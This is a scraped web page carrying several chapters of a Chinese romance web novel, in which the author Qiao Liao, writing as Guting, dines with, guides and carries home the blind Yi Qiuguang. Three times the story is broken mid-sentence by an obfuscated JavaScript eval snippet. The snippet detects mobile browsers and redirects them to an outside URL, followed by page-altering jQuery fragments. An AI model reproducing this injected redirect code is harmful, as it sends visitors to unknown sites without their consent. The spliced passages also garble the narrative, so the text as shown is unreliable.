易秋光也没说他什么时候下班,乔辽只能随时准备着。 穿搭没问题,发型没问题,手机满电,助听器和耳蜗也能坚持很长时间。 要是今晚还有借宿环节,那他就能保证自己的世界不会失去声音。 乔辽就这么穿戴整齐地在家里走来走去,时间走到八点,他估计着易秋光也快结束了,干脆换上鞋,出门叫了辆车。 直接去工作室。 这一路上,乔辽时不时就会看向手机,可这手机就跟坏了一样,屏幕不亮也不振动。 当他下了车,手机还是没有任何反应。 他走在去往工作室的路上,今晚起了风,吹到身上还有些冷,乔辽干脆进了一家便利店,给易秋光买了一杯热饮。 正当他出钱的时候,手机振动一下,易秋光发来消息:故听老师,我已经下班了,你想去哪里吃饭? 乔辽赶紧点开付款码,出了钱拿上热饮就往工作室门口走,他边走边打字回复:你想吃什么? 距离工作室门口还有两分钟,易秋光回复:是我请你吃,吃你喜欢的就行。 乔辽说:我不挑食。 距离工作室门口还有一分钟,那栋小三层离他越来越近,乔辽看见三楼的灯关了几盏,接着就是二楼。 在他走到工作室门口的时候,小三层的灯全都熄灭,紧接着,他看见了易秋光和捕山月。 捕山月握着易秋光的胳膊,笑着在和他说什么,易秋光拿着手机,脸上也是带着笑的。 易秋光今天穿了件薄毛衣,外面套着一件纯色外套,这人的头发似乎也长了些,乔辽其实不太确定,估计是太长时间不见,他总觉得,易秋光好像变了不少。 唯一不变的地方,是这人依旧让乔辽移不开视线。 手中的热饮被乔辽握得更紧,他加快脚步,走到那两人跟前,露出笑容。 “三季老师,”乔辽说完这句,又看向一边的捕山月,脸上的笑也收了起来,“捕山月老师。” “你怎么来了?”捕山月还准备再说些什么。 易秋光打断他的话,说道:“是我约了故听老师一起吃饭。” 捕山月“哦”了声:“那我也去。” “我订好地方了,”为了避免捕山月跟来,乔辽一开口就是胡说,“两个人的位置,今天可能带不了捕山月老师了,下次吧。” 别下次了,下次也是两个人的位置,捕山月,你小子想都别想。 “那我开车送你们去,”捕山月的手还是握着易秋光胳膊,“这样比较方便。” 首先,乔辽没有订餐厅。 其次,满大街的出租车,干嘛非要这个人送。 “不用了,”乔辽瞥了眼捕山月的手,“我和三季老师打车去就行。” 这话一说出来,场面一下子就变得十分沉默,捕山月不肯松手,乔辽也不可能改变主意。 但还好,易秋光开口了。 他偏头望向捕山月,笑着说道:“那你就先回去吧,今天你也忙一天了,回去好好休息。” 捕山月看着挺不情愿的,他叹出一口气,小声问易秋光:“真的不需要我送吗?” “真不用了。”易秋光说。 “那……明天早上我去接你,给你带早饭,”捕山月终于放开了手,他看向乔辽,客气地说了句,“故听老师,那我就先走了。” 走吧,赶紧的。 开车走,飞快地走,速度。 乔辽抬手对着捕山月挥了挥,就当作是答复了,他带着易秋光站在工作室门口,看着捕山月上了车。 这人开车驶出院子时,还减慢车速冲着易秋光说了声:“你早点回去啊。” “知道了。”易秋光说。 当车尾灯从乔辽眼里消失,他心里也算是踏实不少,至少现在,这个捕山月不会再回来了。 “故听老师,”易秋光望向乔辽的方向,“我们也走吧,去吃饭,你订的餐厅在哪里?” 乔辽瞥了盲杖一眼,他现在是故听,就算他做错了什么,易秋光也不会用盲杖打他。 应该不会。 于是,乔辽也没什么好怕的了。 他拿出手机打开叫车软件,问易秋光:“你想去哪里吃?我叫辆车,你先拿着这个。” 热饮有些冷了,但还是能摸出温度,喝进去应该还是温热的,他把直饮口的盖子揭开,拉起易秋光的手,把热饮递到易秋光手心。 “喝一点吧,”乔辽说,“还热着。” 易秋光明显愣了一下,下一秒又笑起来,笑得露出了那颗虎牙。 “谢谢,”易秋光喝上一口,笑着问乔辽,“你不是订位置了吗,我们直接去就可以了。” “没订,”乔辽松开手,低头胡乱扒拉着手机,视线再次瞥向盲杖,“我是不想让捕山月跟着,故意那么说的。” 易秋光挑了挑眉,拉长语调“哦”了声,他给乔辽说了个地址,然后问道:“为什么?” 这个地址离乔辽家挺近,步行十几分钟就能回去。 “什么为什么。”乔辽叫好车,把手机揣进口袋里,低头把脚边的小石子踢到一边。 “为什么不想让捕山月跟着?”易秋光轻移盲杖,碰上乔辽的鞋,“你嫌他吃得多?” “还好吧,”乔辽说,“我吃得比他多。” “那是为什么?”易秋光往他边上挪了一步,偏着头又问,“你们两个是有什么矛盾吗,工作上的?” 一阵风吹了过来,易秋光的头发也被吹得动了动,乔辽低着头,往旁边挪了一步,他也学着易秋光的动作,微偏着头。 只要这样,就能轻碰上易秋光的头发。 感谢风,能让他们在此刻有这样短暂的接触。 乔辽感受着侧脸被头发碰上的酥痒,一时沉默不知道该怎么回答易秋光的话。 太久没得到回应的易秋光动了动盲杖,乔辽也不让开,就那么站在原地,任由易秋光用盲杖一次又一次地碰上他的鞋。 两年前的易秋光也会这样,只要他用盲杖碰碰乔辽,就是询问的意思。 可以是“你还在吗”,或者是“你觉得呢”,而现在,他能听见。 于是,在下一次被盲杖碰上鞋的时候,乔辽听见易秋光说:“你怎么不说话啊……和捕山月的矛盾那么大吗?” “不大,”乔辽看着易秋光,轻声说道,“我不想让他和你待在一起,只想让你和我待在一起。” 这句话刚说出口,乔辽心里就猛地一紧,脱口而出的话带着莫名的情绪,可他现在凭什么说出这种话。 好在易秋光没再追问,叫的车也正好停在路边,他们一起上了车,往目的地去,这一路上,易秋光一句话都不说,乔辽则是一直看着他。 车窗开着一点缝隙,有风进来但不算冷。 易秋光就这么微偏着头,对着窗外,任由风吹着他的头发,他大概是偏头在听着什么,乔辽看见这人嘴角勾起,心情似乎还算不错。 一个拐弯后,车缓缓停下,易秋光打开车门下车,乔辽跟在后面下了车。 俩人站在路边,乔辽先是扒拉两下手机付了车费,接着就开始搜附近有什么吃的,易秋光往左右望了望,最后有些不确定地往右边指了指:“那边是不是夜市?” 乔辽抬头往他手指方向那边望,就和易秋光说的一样,那边确实是夜市一条街,看着还挺热闹的。 这地方他没来过,但点过这边的外卖。 “是夜市,”乔辽问他,“但你晚上不饿吗,小吃不抗饿。” “谁说要去吃小吃了,再说了,是我请你吃饭,请你吃小吃也太不像回事了,”易秋光往夜市那边指了指,“那边有一家很好吃的铁板烧,你想吃吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140562|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 既然是易秋光选择的,那就肯定是这人爱吃的,只要是易秋光爱吃的,乔辽就没有拒绝的理由。 更何况,他也不挑食。 乔辽说:“想吃。” “我保证你会喜欢那家铁板烧的,”易秋光收起盲杖递给乔辽,紧接着,他拉住了乔辽的胳膊,“故听老师,你带我过去吧,夜市人太多了,我怕和你走散,更何况我手里还拿着一杯喝的。盲杖就交给你了,我把自己,也交给你。” 从这里到夜市需要走一段路,再过一条马路,他们慢慢往那边走着,从身边路过的人群里,有牵着手的年轻情侣,还有挽着彼此胳膊的白头夫妻。 在人群中,乔辽和易秋光算不上起眼。 但乔辽却好想让所有人都知道,易秋光的手正握着他的胳膊。 他正带着易秋光往前走。 绿灯还剩下最后几秒,他们也走到了马路对面,易秋光轻捏两下乔辽胳膊,问他:“你看见一家二十四小时便利店了没?” “我看看,”乔辽往两边看了看,确定位置后,带着易秋光往那边走,“铁板烧在便利店旁边吗?” “在那附近,”易秋光笑着说,“我想去便利店买杯喝的。” 乔辽瞥向易秋光手里那杯热饮,应该是还没喝完,怎么突然又要再买一杯,是因为不好喝吗。 那也不应该啊,乔辽是按照易秋光喜好买的,按道理说,他应该会喜欢这种口味,除非在他们分开的那两年里,易秋光喜欢的东西都变了。 他们一起迈步走进店门,店内响起了“欢迎光临”的电子提示音。 易秋光往前走了两步,轻轻捏了捏乔辽胳膊,问道:“你买的这杯热饮很好喝,我还想买一杯等会儿吃饭喝,这家店里有卖的吗?” 听见这句话的那一瞬,乔辽心里都跟着踏实不少。 还好。 易秋光还是他认识的那个易秋光。 尽管在外人眼里,在易秋光眼里,他只是故听,是那个因为一本小说,一部广播剧而认识的人。 但在乔辽心里,他对于易秋光喜好的了解,就像是一根缠绕着亲密关系的线。 这根线是乔辽向易秋光表达爱意的方式。 乔辽把没办法开口说出的爱意变成实物,一个劲地,把易秋光喜欢的东西递到他手里。 易秋光的喜好,都是乔辽一次又一次试出来的,他每次都会去观察易秋光的表情。 一般喜欢和特别喜欢是不一样的。 没那么喜欢的时候,易秋光只会抿着嘴笑,眉头还会微皱,但在特别喜欢的时候,易秋光会笑得露出那颗虎牙,每当那种时刻,乔辽也会跟着他一起笑起来。 而现在,乔辽再次从易秋光脸上看到了那种笑容。 “有的,”乔辽也跟着笑起来,“你就站在这儿,我拿完就过来,很快。” “带着我一起,”易秋光没有放开手,而是伸手乱指一通,“往哪边走?这边还是那边?” 乔辽握住他伸出去的那只手,带着那只手找到正确方向,几步路后,乔辽带着他停了下来。 “我拿了一杯,”乔辽问他,“你还需要买什么吗?” “要不,你也喝一杯吧,”易秋光笑着说,“真的很好喝,我想让你也尝尝。” 乔辽确实没喝过这个牌子,但这个口味他还是喝过的。 两年前的易秋光就喜欢这种味道,他每次都会给乔辽尝上几口,然后再伸手去轻点乔辽的嘴角,询问他是不是很好喝。 在那种时候,乔辽就会握住易秋光的手,捏一捏他的大拇指,告诉他,自己也很喜欢。 易秋光脸上的笑容还是依旧,乔辽只是像这样看着他,就会觉得十分满足。 “好,那我也尝尝,”乔辽又拿上一杯热饮,“只要是三季老师喜欢的,那肯定就是最好喝的。” 29. 主角 易秋光一手拿着喝的,一手握在乔辽胳膊上,嘴里还在说着等会儿要点些什么吃的。 乔辽也没闲着,他一手拿着盲杖,提着两杯热饮,另一只手则是拿着手机看导航。 那家铁板烧确实是在便利店附近,但易秋光只记得店名,这人也只能把店名告诉他,让乔辽导航过去。 步行导航显示,距离目的地还剩三分钟。 越往那边走,人也更多,虽然易秋光一直都握着他胳膊,但乔辽心里还是不够踏实。 他偏头看了眼易秋光,装作语气随意的样子:“这里人太多了,我牵着你吧。” 易秋光愣了一瞬,他刚开口说了声:“故听老师——” 后面的话都还没说完,乔辽立马打断他:“知道了,不牵了。” “我话都还没说完,”易秋光笑了笑,接着叹出一口气,“我是想说,故听老师,你想牵左手还是右手。” 乔辽还真的考虑起来了。 左手挺好,右手也挺好,其实牵哪边都可以,只要他牵的那个人是易秋光就行。 乔辽说:“都行。” 可当他停下步子,正准备伸出手去牵易秋光时,手机里传出了电子音。 目的地已到达,步行导航结束。 “到了啊,”易秋光深呼吸一口气,笑着说,“我已经闻到铁板烧的香味了。” 还差一点,乔辽就能牵上去。 可现在,已经没有牵手的必要了。 “是挺香的,”乔辽往店里看了眼,“座位不多了,还剩下两桌空位,一桌在角落里,一桌靠近收银台,你想坐在哪里?” 易秋光说:“去角落那边坐吧。” “好。”乔辽刚准备带着他往那边去,易秋光却突然放了手。 往前走的步子瞬间收回,乔辽站在原地看了看自己胳膊,一下子没人握着,还有点怪怪的,就像是差了点什么。 下一秒,他又看向易秋光。 “不握胳膊了,牵着去,”易秋光朝他伸出手,“我替你选了,牵左手。” 视线下移,乔辽看见易秋光微微晃了晃左手,这人再次开口:“不牵吗?” “牵。”没什么好犹豫的,乔辽立马握住易秋光的手,甚至还想要十指紧扣。 察觉到乔辽的动作,易秋光“哎”了声,说道:“干什么,你怕我跑啊?” “嗯,”乔辽也没再说什么,牵着易秋光走到角落那桌,让易秋光先坐进去,“你靠墙坐着,我坐在你边上。” 易秋光没说话,坐进去后,才偏头问乔辽:“我们对面不坐人了?” “不坐,”乔辽坐到他旁边,把手里拿着的东西放到桌上,盲杖则是放在离易秋光更近的位置,“不是只有我们两个吃饭吗?” “是啊,”易秋光眨了眨眼,“可我看不见,夹菜的时候容易掉,你要是坐在我边上,我担心会把你衣服弄脏。” “没事,你不用夹菜,我给你夹菜就好了,”乔辽低头看了眼自己的衣服,“而且我今天穿的深色衣服,脏了就脏了,洗一下就行。” 自从和易秋光再次遇见,乔辽发现自己开口就是乱说的能力简直突飞猛进,他今天明明穿得是浅色,这料子弄脏了也不好洗。 但他不想去对面坐着,一点都不想。 “行吧,那你这是……什么意思?”易秋光的语气听着挺无奈的,他晃了晃被牵着的那只手,偏着脑袋冲乔辽笑,“还不放手啊,我们都已经坐下了,故听老师,你很喜欢牵着我?” “不好意思,”乔辽慢慢放开手,“牵太久了,我忘了。” 他哪是什么牵太久不记得了,分明就是不想放手。 身边人听见他这么说,先是拖长语调“哦”了声,接着问他:“原来,我们已经牵了很久吗,那是有多久?” 乔辽有点心虚地瞥了易秋光一眼,他突然觉得这人说话挺有意思的,这些话里,甚至还能听出一些暧昧的味道。 “先点菜,”乔辽清了清嗓子,拿起桌上的菜单开始勾选,“你想吃什么?” 易秋光又是一声长叹,他摸索着桌面,确定周围除了盲杖,再没有什么其他东西之后,这人把胳膊放到桌上,支着脑袋偏头望着乔辽那边。 “我刚才一路上都在报菜名,”易秋光“啧”了声,“故听老师是一个字都没听进去啊。” 勾选菜品的动作停下,乔辽看了眼菜单上被勾上的菜,全都是易秋光爱吃的,这人刚才说了一路的菜品也都被选上了。 “我听了,就是想问问你,还有没有其他想吃的,”乔辽说,“我给你念一遍,你先听听,还有想吃的就再加上。” 易秋光点头:“好。” 这人还是保持着刚才的动作,带着笑偏头望着乔辽那边,等他报完了菜名,易秋光也跟着点了点头:“就这些吧,你还有没有什么想吃的?” “没了,不够吃再加。”乔辽把菜单递给路过的服务员,接着就是沉默。 他看了眼身边的易秋光,拿出手机,点开聊天软件,找出郭宝卓的账号。 乔辽在对话框里写了删,删了又写,最后发出去一句:撞邪了。 只要聊起这种话题,郭宝卓就会变得很感兴趣,这人简直就是秒回,先是发来一个“震惊”的表情包,接着问道:有多邪? 乔辽又看了易秋光一眼,回复:易秋光和我牵手了。 六个点回了过来,郭宝卓问他:易秋光的手是凉的?我靠那很邪了! 乔辽回复:是热的。 这几个字被发出去,乔辽抬眼看向边上的人,又看向自己刚才牵过易秋光的那只手,然后抬起手,闻了一下。 几秒后,乔辽又给郭宝卓发过去一句:还是香的,易秋光好香。 郭宝卓发来一个“微笑”的表情:变态,滚吧。 乔辽深吸口气,自动无视上面那句,他快速打字问郭宝卓:你赶紧帮我分析一下,易秋光这是什么意思? “故听老师,”易秋光抬起食指轻敲两下桌面,“我刚才问的那个问题,你还没有回答我。” “什么问题?”乔辽想了想,也没琢磨出来是什么事情。 易秋光笑着说:“我们牵手牵了很久吗,是多久啊。” 手机振动一下,乔辽丢下一句:“你等会儿。” 说完这句,他立马看向手机屏幕。 郭宝卓发来消息:没什么意思,就是想牵手呗。 乔辽快速打字:我刚才牵得不想放手,易秋光问我是不是很喜欢牵着他,我心虚得要死,说自己是牵得太久忘记了,他现在问我,到底是牵了多久。救命啊兄弟,我怎么说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140563|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊! 这几句话被发出去时,服务员开始上菜,菜被倒进去的时候,油烟瞬间升起,还有些油溅了出来。 乔辽下意识拉起身边人的手,都没来得及放下手机,他把这人往自己身边拉了拉,大概是速度有点快,乔辽又急了点,这一拉,就把易秋光拉进了自己怀里,半抱着,圈在他安全的怀抱里。 他的手机贴着易秋光后背,手机振动一下,易秋光问道:“有人给你发消息?” “我朋友。”乔辽微抬起手,点了点屏幕。 郭宝卓回复:哎你看看你这个大感叹号,别上火啊兄弟别上火,这个问题其实很好解决。 乔辽回复:怎么解决? “你刚才让我等一下,就是要和你朋友聊天?”油烟小了不少,也没再到处溅油,易秋光推了推乔辽,从他怀里离开,“你朋友现在忙吗,要不要把他叫过来一起吃?” “不用叫他,”乔辽拿起桌上的纸巾,擦了擦溅到桌面的油,“我和他就是随便聊聊,现在不聊了,我们吃饭。” 话音刚落,郭宝卓的消息又发来了。 这人回复:这事儿多好解决啊,直接承认呗,认了就行,你就说,牵了很久很久,从小时候到现在。 没必要再回复了,这人完全帮不上忙。 乔辽收起手机,拿起筷子给易秋光夹了点菜,又把热饮揭开盖子,放到易秋光手边。 可易秋光吃饭也不带忘事儿的,吃到一半的时候,他又把那个问题问了一遍,像是非要得到一个答案才肯罢休。 “这个问题的答案很重要吗,”乔辽吃了一筷子菜,偏头看向易秋光,“对你来说,这个答案有什么意义?” “不知道,但我挺想知道这个答案的,”易秋光端起热饮喝了一口,沉默一会儿后又说,“你还记不记得,你有一本小说里,两个主角久别重逢,他们牵着手漫无目的地一直走,那一幕还挺让我感动的,但我有时候也会想,要是其中一个主角没有主动伸出手,那他们接下来会怎么样,是会沉默着擦肩而过,还是会客气地聊上几句,他们……还会有一个好的结局吗?” 乔辽嚼了嚼嘴里的菜,咽下去后,又给易秋光碗里夹了不少菜。 “为什么不会有好结局,从他们拥有名字的那一刻起,他们两个人就是注定要遇见的,”乔辽看着易秋光,轻声说,“不管怎么样,他们都是爱着彼此的,最终结局也一定会在一起,当时牵不牵手其实不重要,重要的是,他们已经再次遇见了。” “是吗,可这怎么说也是小说,”易秋光慢慢夹起一筷子菜喂进嘴里,“你说,如果现实里有这种事情,在久别重逢后,那两个人还会在一起吗?” 店里客人走了几桌,在他们两个同时沉默的时候,周围都显得安静地过了头。 对于易秋光刚才问的那个问题,乔辽其实是想过的,那本小说本来就是在他和易秋光分开后写的,他还记得,在写牵手那段时,他满脑子都是易秋光。 他想着,如果哪天,易秋光会突然出现。 如果哪天,易秋光会再次朝他伸出手。 如果没有这些如果,也没关系。 乔辽是不会变的,他的那只手,只会牵住易秋光,永远。 于是,乔辽回答:“会的,他们会在一起的,总会有那一天。” 30. 伤口 这顿饭吃到最后,店里只剩下他们这一桌。 两个人把热饮都喝完了,易秋光还问了乔辽好几次:“是不是很好喝,我就说很好喝吧。” 乔辽每次都回答:“嗯,很好喝。” 他们点的菜有些多,但好在没剩多少,两个人也都撑得不行了,结账的时候,乔辽还想抢在易秋光前面,先把钱付了。 易秋光只说了一句话,立马让乔辽收起了手机。 这人说:“你不想和我一起吃下顿饭了?” 乔辽听见了。 乔辽老实了。 现在这个点,按道理说,已经要进被窝睡觉了,他们从店里走出去的时候,第一个感受到的,就是迎面吹来的风。 易秋光大概是有点冷,他抬手摸了摸自己的脖子,眉头也有点皱着。 “外面风太大了,”乔辽说,“我先叫车送你回去。” 易秋光问他:“你急着回家吗?” “我还好。”乔辽拿出手机开始扒拉,正准备点开叫车软件。 身边人打开盲杖,在地面划动两下,碰上乔辽的鞋。 “那就先别回去了,陪我散散步,”易秋光深呼吸一口气,“吃太多了撑得慌,走一走正好消消食。” “现在风挺大的——”乔辽的话都还没说完,易秋光打断了他。 “上次你在我家里住,早上我说送你回去来着,那个时候问了你家里的住址,”易秋光说,“我记得,好像就是在这附近吧。” 乔辽“嗯”了声,易秋光又说:“那就麻烦故听老师了,带我在这附近逛逛,实在是太撑了,有点难受。” 这附近也没什么好逛的,现在这个点,商场都关门了,公园也没什么人,乔辽只能带着他在夜市周围走一走。 夜市附近的人还是挺多的,他们走几步就会路过一个摊位,有人站在摊位前等着,还有人坐在一旁的座位上,把衣服裹得紧紧的。 易秋光就跟在他边上,盲杖轻敲着地面,有些时候,这人会放慢步子,或是停下来,然后偏头问乔辽:“这家是卖什么的?” 但易秋光就是问问,乔辽每次都会问他想不想尝一尝,易秋光也是摇头。 两个人绕着夜市转了好几圈,眼见着时间越来越晚,乔辽琢磨着,也该叫辆车送易秋光回去了,他自己可以睡久一点,但易秋光是需要早起去工作室的。 他干脆转了个方向,带着易秋光往马路边上走。 突然转个弯,周围的摊位变少,易秋光听也听得出来,他们现在已经快离开夜市了。 这人伸手往边上一握,正好碰上乔辽胳膊:“我们去哪儿?” “去马路边上,”乔辽说,“我叫辆车送你回去,不早了。” 易秋光沉默一下,随后冲他笑了笑:“好。” 他们又往前走了几步,乔辽刚拿出手机,正准备点开叫车软件,身边人突然放慢步子,“哎哟”一声,接着摔倒在地。 乔辽都怀疑自己的心跳罢工了,他连忙收起手机,蹲下身子去扶易秋光,嘴里还问着:“你怎么样,腿疼吗,脚怎么样,手怎么样?” “……都还好,我没事。”易秋光在他的搀扶下慢慢站起来。 乔辽拍了拍自己的膝盖,拉着易秋光坐到他腿上:“怪我,我应该帮你看着路的,你有没有哪里受伤?我看看。” “真没事。”易秋光嘴上这么说,却非常主动地把裤腿往上撩。 随着易秋光撩裤腿的动作,乔辽很快就看见这人膝盖上有伤。 擦伤,还有些渗血,借着路灯的光亮,能看出伤口周围的皮肤全都泛着红。 “这还叫没事?”乔辽没敢伸手去碰,这个伤口光是看一眼,他就要在心底骂一句自己,刚才为什么非得急着叫车,“除了膝盖,还有哪里疼吗?” “脚踝疼,”易秋光收起盲杖,伸手指向左脚,“有点疼,应该是崴到了。” 乔辽现在都着急起来了:“那我马上叫车,你回去躺着好好休息。” “等会儿再叫吧,”易秋光弯了弯腰,碰上左脚踝,倒抽一口凉气,“坐车回去还要一会儿,脚踩在地上太疼了,你陪我在这里歇会儿,等我好点了再去坐车。” 还歇什么歇,再歇下去这脚踝就得肿起来,乔辽往不远处看了眼,又看向坐在自己腿上的易秋光。 “三季老师,要不这样吧,”乔辽抿了抿唇,做好了被拒绝的打算,“这里离我家不远,我背着你回去,今天晚上就在我家过一夜。” 易秋光会回答什么呢。 不行,不好,算了吧。 反正这人大概是不会同意的。 乔辽看着易秋光的嘴,害怕看见自己不愿见到的口型,更怕那句不想听见的话,会被他清楚地听进耳朵里。 可下一秒,他听见易秋光说:“那就麻烦故听老师了。” 乔辽听见这话,立马抬起易秋光胳膊,搭到自己肩膀上,他小幅度挪动身子,把后背对着易秋光。 “直接上来就行,”乔辽轻拉着易秋光胳膊,调整姿势,最后,他背着易秋光站起来,往回家的方向走,“没什么麻不麻烦的,就是得委屈你了。” “委屈什么?”易秋光靠在乔辽肩膀上,说话呼出的热气弄得乔辽脖子发痒。 “要委屈你和我睡一起了,”前方需要过马路,正好是红灯,乔辽停下步子,微偏着头说,“我家里只有一间卧室。” 易秋光“哦”了声,语气听着倒是挺不在意的:“这又不是什么委屈,你上次在我家,不也是和我一起睡的吗,我家里也只有一间卧室啊。” “嗯,”绿灯亮起,乔辽背着他走上斑马线,“但我家没新毛巾,一次性内裤和牙刷也没有。” 乔辽家里根本就没什么人去,要去也只有郭宝卓去,这人就算是在那里住一夜,也只会是洗好澡再去,所以乔辽从不备着什么,要用就只能现买。 要是早知道易秋光会在今天去他家,乔辽肯定连夜买洗漱用品备上,还得给易秋光买一套新的家居服。 但这确实也是突发状况,要是真能预知未来的事,他宁愿易秋光今天不会摔倒。 去不去他家里这件事,其实一点都不重要。 易秋光好好地,才是最重要的事。 可家里要是什么都没有,肯定还是会不方便,但易秋光似乎没这么觉得,他的语气好像也是在笑着:“没关系,你肯收留我,就已经很好了。” “什么收留不收留的……”乔辽叹出一口气,“我宁愿你没受伤,伤一下多疼啊,你明天还得去工作室——” “停,”易秋光打断他的话,抬手揉了揉乔辽的头发,“我肯定很快就能好。” “你最好是,”乔辽只会叹气了,他把易秋光往上托了托,“我要快点走了,你把我搂紧一点,我们先去便利店买洗漱用品,到家之后,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140564|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你擦点药。” “知道了,故听老师。”易秋光听了他的话,把他搂得紧紧的。 乔辽差点就喘不上气儿了。 他怎么觉得……易秋光这个动作,带点报复心理呢? “也不用这么紧,”乔辽停了下来,用单手把易秋光往上托了一下,接着就用另一只手去扒拉易秋光的手,“这里稍微松一点。” 易秋光手上松了点劲,嘴里还嘀咕着:“刚才明明是你要我搂紧的。” “刚才是刚才,”乔辽背着他继续往前走,“现在是现在。” 易秋光笑了笑,没再说什么。 快要走到便利店的时候,易秋光都开始打瞌睡了。有好几次,乔辽都感觉这人快要从他背上掉下去。 估计易秋光是太累了,乔辽只得时不时就扶一扶这人的脑袋,要是真掉下去,那就是二次伤害了。 可当乔辽背着他走进便利店时,易秋光一下子就醒了,店里响起的那句“欢迎光临”音量太大,易秋光还被吓得抖了一下。 “我们在哪儿?”易秋光打着呵欠问道。 “便利店,给你买洗漱用品,”乔辽笑着问他,“睡迷糊了?” 易秋光干脆靠在乔辽肩膀上,说话声音也带着闷:“还好。” “买完东西就能回家了,”乔辽边说边找洗漱用品的位置,“回去之后先洗澡,给你擦完药就可以睡觉了。” “好,”易秋光动了动手,把乔辽脖子搂紧,下一秒又松开,“别买太贵的,随便买买就行,听见没。” 乔辽笑着说:“嗯,听见了。” 易秋光刚才那一下搂紧,就跟威胁似的,但乔辽才不想听这人的。 买洗漱用品当然不能随意,这又不是一次性用品,乔辽还盼着,易秋光能来第二次,第三次。 他希望,易秋光能来无数次。 在结账的时候,收银员刚说出一共多少钱,易秋光立马“啊”了声:“这么贵?我不是让你买便宜点的吗?” “没买贵的,”乔辽付完钱提上袋子,“我就是买得多了点,正好自己用的也没了,顺带买的。” 易秋光“哦”了声:“这样啊。” “是啊。”乔辽说。 走出便利店,他们离小区门口也不远了,乔辽走得快,手里提的东西一下又一下地晃到易秋光腿上。 乔辽其实是知道的,但他已经在努力控制了,可袋子晃动的幅度还是很大。 “故听老师,”易秋光深吸口气,“你是不是想让我彻底变成瘸腿啊,袋子里面的东西一直在打我的腿……那些打不倒我的一直都在打我。” “不好意思,”乔辽把袋子拽紧了些,问道,“现在好点没?” 易秋光说:“并没有。” “那我兜着你屁股行吗,”乔辽顿了顿,又说,“这样就打不到你了。” “你就不能把袋子给我拿着吗,”易秋光抬手在他脑袋上弹了一下,“我们是两个人,又不是只有你一个,赶紧给我拿着。” “那就……”乔辽停下步子,“麻烦你了,三季老师。” 他把袋子递到易秋光手里,正准备继续往前走。 “你说错了,”易秋光晃着袋子,一下子打到乔辽胸口,“应该说,交给你了,三季老师。” “好,那我重新说,”乔辽微偏着头,和易秋光的脑袋轻轻碰了碰,“交给你了,三季老师。” 31. 衣服 乔辽其实还挺喜欢这种互动的。 至少说明易秋光没把他当外人。 但易秋光和“故听”认识的时间不算久,说是熟人也有点过分。 想到这里,乔辽的心情一瞬间又跌了下去。 他想着,要是把自己刚才和易秋光的互动放进小说里,那就是妥妥的暧昧剧情啊,易秋光这是……在和他搞暧昧? 前面再走几步就要进单元楼,乔辽越走越快,进了电梯后,他站在那里一动不动,整个人都愣住了。 易秋光怎么能和他搞暧昧呢,易秋光和谁都这样搞暧昧吗? 这不对劲,这已经非常不对劲了啊! 易秋光以前就是这样?不是吧。 这人什么时候成了这样啊! “故听老师?”易秋光突然喊了他一声。 “啊?”乔辽愣了愣,问他,“怎么了?” 易秋光问道:“你住的楼层很高吗,怎么还没到?” 没到?不应该啊。 乔辽往旁边一看,电梯楼层按钮没有一个是亮着的,他压根就没按楼层。 “是我没按楼层,”乔辽伸手按下楼层按钮,“现在好了。” 电梯缓缓上行,他们也没再说话,直到乔辽背着易秋光进了家门。 他先是接过易秋光手里的盲杖,把盲杖放到桌上,接着再把洗漱用品放到浴室门口,最后,他把易秋光放到沙发上躺着。 乔辽现在也没空去想那些乱七八糟的,他站在沙发边上,终于有点缓过神了。 他竟然真的带着易秋光回来了,易秋光此刻就躺在他家沙发上! 这是真的易秋光啊,热乎地活着的会说话的易秋光,不是梦啊! “故听老师,你还在这儿吗?”易秋光也不知道该往哪个方向看,他往两边望了望,最后选择低下头,抬手轻按两下膝盖。 “我就站在你边上,”乔辽往厨房看了眼,问他,“要喝水吗?” “不喝,”易秋光笑着说,“我不渴。” 乔辽又问:“那你要去厕所吗?” “也不用,你带我去洗澡吧,”易秋光指着膝盖说,“我想早点洗澡,然后睡一觉,今天太累了,我现在挺困的。” “好,”乔辽往卧室方向看了眼,“那我去给你拿换洗衣服。” 在看见易秋光点头后,乔辽从兜里拿出手机,转身往卧室走,他点出郭宝卓的聊天对话框,快速打字并发送:兄弟,完大蛋了。 郭宝卓秒回:卡文别找我,我不认字。 这人怎么这样,这世界上有那么多想不明白的事,郭宝卓怎么就这么肯定,他是因为卡文才完大蛋的。 下一步迈出去,乔辽进了卧室,他打开衣柜门,从里面找出两套家居服,抱着衣服单手打字回复郭宝卓:和卡文没任何关系,你兄弟我,把易秋光带回家了。 这句话刚发出去几秒,郭宝卓的视频通话就打了过来,乔辽立马按下接通键,生怕这铃声动静太大,被易秋光听见。 